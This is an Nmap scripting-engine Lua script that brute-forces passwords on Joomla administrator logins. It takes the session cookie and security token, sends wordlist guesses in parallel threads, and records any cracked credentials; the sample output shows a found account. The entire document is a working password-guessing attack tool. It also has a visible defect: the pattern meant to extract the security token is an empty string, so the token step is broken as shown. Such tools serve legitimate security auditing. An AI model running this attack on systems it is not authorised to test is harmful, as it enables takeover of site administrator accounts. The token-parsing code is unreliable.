description = [[
Performs a brute force password attack against Joomla installations.
This script initially reads the session cookie and parses the security token to perfom the brute force password auditing.
Joomla's default uri and form names:
* Default uri:/administrator/index.php
* Default uservar: username
* Default passvar: passwd
]]
---
-- @usage
-- nmap -p80 --script http-joomla-brute
-- --script-args 'userdb=users.txt,passdb=passwds.txt,http-joomla-brute.hostname=domain.com,
-- http-joomla-brute.threads=3,brute.firstonly=true'
--
-- This script uses the unpwdb and brute libraries to perform password
-- guessing. Any successful guesses are stored in the nmap registry, under
-- the nmap.registry.credentials.http key for other scripts to use.
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-joomla-brute:
-- | Accounts
-- | xdeadbee:i79eWBj07g => Login correct
-- | Statistics
-- |_ Perfomed 499 guesses in 301 seconds, average tps: 0
--
-- @args http-joomla-brute.uri Path to authentication script. Default: /administrator/index.php
-- @args http-joomla-brute.hostname Virtual Hostname Header
-- @args http-joomla-brute.uservar sets the http-variable name that holds the
-- username used to authenticate. Default: username
-- @args http-joomla-brute.passvar sets the http-variable name that holds the
-- password used to authenticate. Default: passwd
-- @args http-joomla-brute.threads sets the number of threads. Default: 3
--
-- Other useful arguments when using this script are:
-- * http.useragent = String - User Agent used in HTTP requests
-- * brute.firstonly = Boolean - Stop attack when the first credentials are found
-- * brute.mode = user/creds/pass - Username password iterator
-- * passdb = String - Path to password list
-- * userdb = String - Path to user list
--
--
-- Based on Patrik Karlsson's http-form-brute
--
author = "Paulino Calderon"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "auth"}
require 'shortport'
require 'http'
require 'brute'
portrule = shortport.http
local DEFAULT_JOOMLA_LOGIN_URI = "/administrator/index.php"
local DEFAULT_JOOMLA_USERVAR = "username"
local DEFAULT_JOOMLA_PASSVAR = "passwd"
local DEFAULT_THREAD_NUM = 3
local security_token
local session_cookie_str
---
--This class implements the Brute library (http://nmap.org/nsedoc/lib/brute.html)
---
Driver = {
new = function(self, host, port, options)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = nmap.registry.args['http-joomla-brute.hostname'] or host
o.port = port
o.uri = nmap.registry.args['http-joomla-brute.uri'] or DEFAULT_JOOMLA_LOGIN_URI
o.options = options
return o
end,
connect = function( self )
return true
end,
login = function( self, username, password )
stdnse.print_debug(2, "HTTP POST %s%s with security token %s\n", self.host, self.uri, security_token)
local response = http.post( self.host, self.port, self.uri, { cookies = session_cookie_str, no_cache = true, no_cache_body = true }, nil,
{ [self.options.uservar] = username, [self.options.passvar] = password,
[security_token] = 1, lang = "", option = "com_login", task = "login" } )
if response.body and not( response.body:match('name=[\'"]*'..self.options.passvar ) ) then
stdnse.print_debug(2, "Response:\n%s", response.body)
if ( not( nmap.registry['credentials'] ) ) then
nmap.registry['credentials'] = {}
end
if ( not( nmap.registry.credentials['http'] ) ) then
nmap.registry.credentials['http'] = {}
end
table.insert( nmap.registry.credentials.http, { username = username, password = password } )
return true, brute.Account:new( username, password, "OPEN")
end
return false, brute.Error:new( "Incorrect password" )
end,
disconnect = function( self )
return true
end,
check = function( self )
local response = http.get( self.host, self.port, self.uri )
stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
-- Check if password field is there
if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
stdnse.print_debug(1, "Initial check passed. Launching brute force attack")
session_cookie_str = response.cookies[1]["name"].."="..response.cookies[1]["value"];
if response.body then
_, _, security_token = string.find(response.body, '')
end
if security_token then
stdnse.print_debug(2, "Security Token found:%s", security_token)
else
stdnse.print_debug(2, "The security token was not found.")
return false
end
return true
else
stdnse.print_debug(1, "Initial check failed. Password field wasn't found")
end
return false
end
}
---
--MAIN
---
action = function( host, port )
local status, result, engine
local uservar = nmap.registry.args['http-joomla-brute.uservar'] or DEFAULT_JOOMLA_USERVAR
local passvar = nmap.registry.args['http-joomla-brute.passvar'] or DEFAULT_JOOMLA_PASSVAR
local thread_num = nmap.registry.args["http-joomla-brute.threads"] or DEFAULT_THREAD_NUM
engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } )
engine:setMaxThreads(thread_num)
status, result = engine:start()
return result
end